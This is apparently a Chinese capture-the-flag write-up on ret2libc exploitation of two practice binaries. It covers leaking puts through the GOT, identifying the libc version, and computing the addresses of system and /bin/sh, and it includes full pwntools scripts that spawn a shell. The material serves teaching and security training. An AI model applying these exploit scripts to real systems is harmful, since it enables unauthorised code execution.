binary3

32位binary,开启NX和Partial RELR0保护机制。

没有system函数和字符串/bin/sh。
1、IDA

binary中存在溢出点,溢出空间为112。
2、libc
libc是C语言库。而libc.so 是 linux 下 C 语言库中的运行库glibc 的动态链接版。
libc.so 中包含了大量的可以利用的函数,包括system()、execve()等系统级函数和字符串/bin/sh。
既然binary中没有system函数和字符串/bin/sh,那么可以考虑将通过泄露出libc.so中system和/bin/sh的地址,然后劫持控制流执行system('/bin/sh'),即可达到getshell目的。
3、libc.so-version
如何泄露出libc.so中system和/bin/sh的地址?libc.so具有以下特性:
- libc.so 动态链接库中的函数之间相对偏移固定。
- 每个函数的地址最低的12位并不会发生改变。(即便开启PIE)
search libc.so:
 https://github.com/niklasb/libc-database 
 https://libc.blukat.me/ 
由此,可以通过泄露出某个函数地址,然后通过最低12位来确定libc.so的版本,进而确定system和/bin/sh的地址。
4、link-function-addr
如何泄露出libc.so中system和/bin/sh的地址?我们知道,libc延迟绑定机制会形成got表项,got表项中会含有已经执行过的函数的地址。
所以我们可以通过劫持控制流到got表中特定的函数,泄露出其在内存中的地址,同时通过最低12位来确定libc.so的版本确定其在libc.so中的地址和system和/bin/sh的地址,最后计算出固定的相对偏移量,再计算出system和/bin/sh的真实地址。
5、pwn

6、exploit
libc.so-version:
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 
 | from pwn import *offset = 112
 p = process('./ret2libc3')
 elf = ELF('./ret2libc3')
 puts_plt_addr = elf.plt['puts']
 puts_got_addr = elf.got['puts']
 main_plt_addr = elf.symbols['_start']//程序最初执行地址。
 payload = flat(['\x90'*offset,puts_plt_addr,main_plt_addr,puts_got_addr])
 p.sendlineafter('?',payload)
 puts_addr = u32(p.recv()[0:4])
 print hex(puts_addr)
 
 | 


| 12
 3
 
 | system_libc_addr = 	0x03ada0puts_libc_addr = 0x05fca0
 str_bin_sh = 0x15ba0b
 
 | 
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 
 | from pwn import *offset = 112
 p = process('./ret2libc3')
 elf = ELF('./ret2libc3')
 puts_plt_addr = elf.plt['puts']
 puts_got_addr = elf.got['puts']
 main_plt_addr = elf.symbols['_start']
 payload = flat(['\x90'*offset,puts_plt_addr,main_plt_addr,puts_got_addr])
 p.sendlineafter('?',payload)
 puts_addr = u32(p.recv()[0:4])
 
 system_libc_addr = 0x03ada0
 puts_libc_addr = 0x05fca0
 str_bin_sh = 0x15ba0b
 
 libc_base_addr = puts_addr - puts_libc_addr
 system_addr = libc_base_addr + system_libc_addr
 binsh_addr = libc_base_addr + str_bin_sh
 payload1 = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr])
 p.sendline(payload1)
 p.interactive()
 
 | 

train.cs.nctu.edu.tw: ret2libc
1、checksec

开启NX和Partial RELR0,同时泄露出/bin/sh和puts的地址。

binary中没有system的地址。
2、IDA

溢出空间=0x14+4+4+4=32。
3、pwn

4、exploit
| 12
 3
 4
 5
 6
 7
 8
 9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 
 | from pwn import *from LibcSearcher import LibcSearcher
 offset = 32
 p = process('./ret2libc')
 p.recvuntil('is ')
 binsh_addr = int(p.recvuntil('\n'),16)
 print hex(binsh_addr)
 p.recvuntil('is ')
 puts_addr = int(p.recvuntil('\n'),16)
 print hex(puts_addr)
 
 libc=LibcSearcher('puts',puts_addr)
 libc_base_addr = puts_addr - libc.dump('puts')
 system_addr = libc_base_addr + libc.dump('system')
 
 payload = flat(['\x90'*offset,system_addr,0xdeadbeef,binsh_addr])
 p.sendline(payload)
 p.interactive()
 
 | 

reference
github-ctf-wiki